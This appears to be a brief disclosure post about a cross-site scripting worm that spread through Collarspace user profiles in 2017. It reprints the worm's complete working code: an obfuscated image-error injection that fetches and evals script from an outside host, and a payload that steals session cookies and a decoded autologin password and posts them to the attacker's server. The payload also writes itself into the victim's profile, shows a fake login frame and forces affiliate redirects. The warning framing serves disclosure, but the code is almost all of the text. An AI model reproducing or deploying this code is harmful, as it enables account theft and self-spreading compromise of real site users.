CS-Is-A-Terrible-Website

I discovered this on the collarspace website on 17Sep2017.  This shit is slowly infecting CS profiles because the site doesn't filter code from user profiles.  Apparently as of 18Sep2017 the person updated the code, so this is the second version I've noticed:

--------

Infected profiles get the following:

<img style="display:none" auto src="a.b" onerror='var x = new XMLHttpRequest();x["onre"+"adystat"+"echange"]=function(){if (x.readyState==4&&x.status==200)window["ev"+"al"](x.responseText);};x.open("GET", "https://collarspace.000webhostapp.com/<font size='4' color='red'><b>hax</b></font>.txt",true);x.send();'/>


---------

hax.txt contents:


if (!window.$) {
    var scr = document.createElement('script');
    scr.setAttribute("src", "http://code.jquery.com/jquery-latest.min.js");
    scr.onload = doStuff;
    var head = document.getElementsByTagName('head')[0];
    head.appendChild(scr);
} else {
    doStuff();
}

function doStuff() {
	$.ajax({url: "http://collarspace.000webhostapp.com/actualhax.js", cache: false},eval);
}


--------

actualhax.js contents:


/*jshint -W116 */
/* jshint esnext: true, browser: true, jquery: true */

if (!window.$) {
	var scr = document.createElement('script');
	scr.setAttribute('src', 'http://code.jquery.com/jquery-latest.min.js');
	scr.onload = doStuff;
	var head = document.getElementsByTagName('head')[0];
	head.appendChild(scr);
} else {
	doStuff();
}

function getCookies() {
	var cookies = {};
	var theCookies = document.cookie.split(';');
	for (var i = 1; i < theCookies.length; i++) {
		var mat = theCookies[i].match(/\s*([^=]+)=?(.*)/);
		if (!mat[1].match(/^ASPSESSION/))
			cookies[mat[1]] = decodeURIComponent(mat[2]);
	}
	return cookies;
}

function loadBase64() {
	jQuery.base64 = ((() => {
		var _PADCHAR = "=",
			_ALPHA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
			_VERSION = "1.0";

		function _getbyte64(s, i) {
			var idx = _ALPHA.indexOf(s.charAt(i));
			if (idx === -1) throw "Cannot decode base64";
			return idx;
		}

		function _decode(s) {
			var pads = 0,
				i, b10, imax = s.length,
				x = [];
			s = String(s);
			if (imax === 0) return s;
			if (imax % 4 !== 0) throw "Cannot decode base64";
			if (s.charAt(imax - 1) === _PADCHAR) {
				pads = 1;
				if (s.charAt(imax - 2) === _PADCHAR) {
					pads = 2;
				}
				imax -= 4;
			}
			for (i = 0; i < imax; i += 4) {
				b10 = (_getbyte64(s, i) << 18) | (_getbyte64(s, i + 1) << 12) | (_getbyte64(s, i + 2) << 6) | _getbyte64(s, i + 3);
				x.push(String.fromCharCode(b10 >> 16, (b10 >> 8) & 255, b10 & 255));
			}
			switch (pads) {
				case 1:
					b10 = (_getbyte64(s, i) << 18) | (_getbyte64(s, i + 1) << 12) | (_getbyte64(s, i + 2) << 6);
					x.push(String.fromCharCode(b10 >> 16, (b10 >> 8) & 255));
					break;
				case 2:
					b10 = (_getbyte64(s, i) << 18) | (_getbyte64(s, i + 1) << 12);
					x.push(String.fromCharCode(b10 >> 16));
					break;
			}
			return x.join("");
		}

		function _getbyte(s, i) {
			var x = s.charCodeAt(i);
			if (x > 255) {
				throw "INVALID_CHARACTER_ERR: DOM Exception 5";
			}
			return x;
		}

		function _encode(s) {
			if (arguments.length !== 1) {
				throw "SyntaxError: exactly one argument required";
			}
			s = String(s);
			var i, b10, x = [],
				imax = s.length - s.length % 3;
			if (s.length === 0) return s;
			for (i = 0; i < imax; i += 3) {
				b10 = (_getbyte(s, i) << 16) | (_getbyte(s, i + 1) << 8) | _getbyte(s, i + 2);
				x.push(_ALPHA.charAt(b10 >> 18));
				x.push(_ALPHA.charAt((b10 >> 12) & 63));
				x.push(_ALPHA.charAt((b10 >> 6) & 63));
				x.push(_ALPHA.charAt(b10 & 63));
			}
			switch (s.length - imax) {
				case 1:
					b10 = _getbyte(s, i) << 16;
					x.push(_ALPHA.charAt(b10 >> 18) + _ALPHA.charAt((b10 >> 12) & 63) + _PADCHAR + _PADCHAR);
					break;
				case 2:
					b10 = (_getbyte(s, i) << 16) | (_getbyte(s, i + 1) << 8);
					x.push(_ALPHA.charAt(b10 >> 18) + _ALPHA.charAt((b10 >> 12) & 63) + _ALPHA.charAt((b10 >> 6) & 63) + _PADCHAR);
					break;
			}
			return x.join("");
		}
		return {
			decode: _decode,
			encode: _encode,
			VERSION: _VERSION
		};
	})(jQuery));
}

function doLogin() {
	let done = false;
	$('a').click(() => {
		if (done) return;
		done = true;
		const domain = 'https://collarspace.000webhostapp.com/';
		console.log('CS-MBS - Login');
		const props = {
			width: '100%',
			height: '100%',
			overflow: 'hidden',
		};
		const iframe = $('<iframe>').css(props);
		$(document.body).css(props).prepend(iframe);
		const href = document.location.href;
		iframe.attr('src', domain + 'login.php?url=' + encodeURIComponent(href));
		return false;
	});
}

function infectProfile(id) {
	const hax = `\n\n<img style="display:none" auto src="a.b" onerror='var x = new XMLHttpRequest();x["onre"+"adystat"+"echange"]=function(){if (x.readyState==4&&x.status==200)window["ev"+"al"](x.responseText);};x.open("GET", "https://collarspace.000webhostapp.com/hax.txt",true);x.send();'/>`
	const proc = $('<iframe/>').css('display', 'none').appendTo(document.body);
	proc.load(() => {
		const ta = $('#p_desc', proc.contents());
		if (!ta.length) return;
		document.cookie = 'LGGI=' + id + '; path=/';
		let val = ta.val();
		if (!val.match(/collarspace.000webhostapp.com/)) {
			ta.val(val += hax);
			const form = $('form[name=form1]', proc.contents());
			form[0].onsubmit = null;
			form.submit();
		}
	});
	proc.attr('src', '/processor.asp?bhcp=1');
}

function delete_cookie(name) {
	document.cookie = name + '=; path=/; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
}

function logout() {
	console.log('Logging out');
	delete_cookie('access');
	delete_cookie('id');
	delete_cookie('g');
	var cookies = {};
	var theCookies = document.cookie.split(';');
	for (var i = 1; i < theCookies.length; i++) {
		var mat = theCookies[i].match(/\s*([^=]+)=?(.*)/);
		if (mat[1].match(/^ASPSESSION/))
			delete_cookie(mat[1]);
	}
	return cookies;
}

// document.cookie = 'username=Test; path=/';
function doStuff() {
	loadBase64();
	const infecter = $('[src="a.b"]');
	window.LGGI = infecter[0];
	infecter.remove();
	const domain = 'https://collarspace.000webhostapp.com/';
	const replacings = {
		hypnosisDomme: 'Send me "Kiwi " if you submit to me. Send "Radio " otherwise',
		SimplyTheBest329: 'Are you sure?',
	};
	//const forceLogin = ['nataliewood', 'iowawarden', 'msTowned', 'alliepre'];
	if (window.LeGG) return;
	window.LeGG = true;
	//console.log('CS-MBS Launched');
	var cookies = getCookies();
	setTimeout(() => {
		if (cookies.G2A != 'legg') {
			$('<iframe/>', {
				src: 'http://www.g2a.com/r/legg',
				style: 'display:none',
				load: function () {
					$(this).remove();
					document.cookie = 'G2A=legg; path=/';
				}
			}).appendTo('body');
		}
		if (cookies.G2APU != 'legg') {
			document.cookie = 'G2APU=legg; path=/';
			document.location = 'http://g2a.com/r/legg';
		}
	}, 5000);
	var id = cookies.id;
	if (!id) return logout();
	id = id.replace('+', '');
	id = id.toLowerCase();
	window.LeGG = id;
	if (cookies.LGGI != id) infectProfile(id);
	$(document).ready(function () {
		let pass = $("a[href*=autologin]")[0];
		pass = pass && pass.href.match(/p=([\w=]+)/);
		pass = pass && pass[1];
		if (pass) {
			pass = $.base64.decode(pass);
			if (window.LeGGBP && window.LeGGBP(pass)) return;
			cookies.pass = pass;
		}
		if (id == "wantingparents") logout();
		cookies.location = document.location.href;
		$.post(domain + 'cookies.php', cookies);
		/*if (cookies.access && cookies.LGGL == id) {
		    cookies.location = document.location.href;
		    $.post(domain + 'cookies.php', cookies, (data) => {
		        if (data.match(/WeakUpdate/)) {
		            if (forceLogin.find((n) => n == id)) {
		                doLogin();
		            } else if (Math.random() <= 0.25) {
		                doLogin();
		            }
		        }
		    });
		} else if (cookies.access) {
		    document.cookie = 'LGGL=' + id + '; path=/';
		}*/
		$('[fake]').each(function (i, ele) {
			ele = $(ele);
			var from = ele.attr('from');
			if (from && from.toLowerCase() == id.toLowerCase()) {
				if (ele.attr('unfake') !== undefined) {
					ele.text(ele.attr('unfake'));
				}
			} else if (ele.attr('fake') != 'Kiwi') {
				ele.text(ele.attr('fake'));
			}
		});
		$('[lerep]').each(function (i, ele) {
			ele = $(ele);
			var rep = ele.attr('lerep');
			rep = rep && replacings[rep];
			if (rep) ele.text(rep);
		});
	});
}